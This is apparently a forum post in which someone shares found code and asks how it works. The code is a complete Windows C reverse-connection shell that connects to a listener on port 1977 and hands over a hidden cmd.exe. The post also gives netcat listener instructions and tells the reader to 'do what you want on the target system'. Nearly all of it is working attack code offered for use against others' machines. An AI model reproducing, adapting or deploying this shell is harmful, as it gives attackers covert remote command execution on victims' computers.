I've found this somewhere but didn't understand how it works , maybe some of you could help understanding this
Reverse Connection Shell ,
This would be used to connect back to you and spawn a CMD shell on the target's system. Yes you can use the CMD on the target system, that is the whole point.
1. Set Netcat to listen on your system with the Port and IP specified in the example (Change both to your liking): nc -lvvp 1977.
2. When someone runs this RevCon it connects back to you through the Port and IP specified and gives you a CMD shell on their system through Netcat.
3. Do what you want on the target system.
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
void main()
{
WSADATA a;
SOCKET b;
STARTUPINFO c;
PROCESS_INFORMATION d;
struct sockaddr_in e;
memset(&e,0,sizeof(e));
memset(&c,0,sizeof(c));
WSAStartup(0x202,&a); //Version: 0x202 = 2.2
b=WSASocket(2,1,6,0,0,0);
e.sin_family=0x2; //0x2 = AF_INET
e.sin_port=ntohs(0x7B9); //Port: 0x7B9 = 1977
e.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(b,(struct sockaddr*)&e,sizeof(e));
c.cb=sizeof(c);
c.dwFlags=0x00000100; //0x00000100 = STARTF_USESTDHANDLES
c.hStdInput=c.hStdOutput=c.hStdError=(void*)b;
CreateProcess(0,"cmd",0,0,1,0x08000000,0,0,&c,&d); //1 = TRUE, 0x08000000 = CREATE_NO_WINDOW
}